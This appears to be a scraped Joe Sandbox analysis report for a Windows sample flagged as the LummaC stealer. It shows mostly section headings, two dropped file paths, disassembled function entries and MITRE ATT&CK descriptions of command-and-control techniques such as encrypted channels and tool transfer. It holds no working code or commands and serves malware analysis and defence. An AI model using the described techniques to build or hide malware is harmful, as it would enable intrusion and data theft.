Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\V5GJ8YFILNHAP99OFNDK6O9IE.exe.log

C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00D9B7CE Relevance: 1.3, Strings: 1, Instructions: 18
COMMON

Function 00F21C48 Relevance: 1.6, APIs: 1, Instructions: 111
libraryCOMMON

Function 05200D41 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Function 05200D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 05201509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Function 05201510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 05201301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Function 05201308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Function 00F2E2A4 Relevance: 1.5, APIs: 1, Instructions: 33
libraryCOMMON

Function 00D9E8D1 Relevance: 1.3, APIs: 1, Instructions: 56
memoryCOMMON

Function 00D9E756 Relevance: 1.3, APIs: 1, Instructions: 6
memoryCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre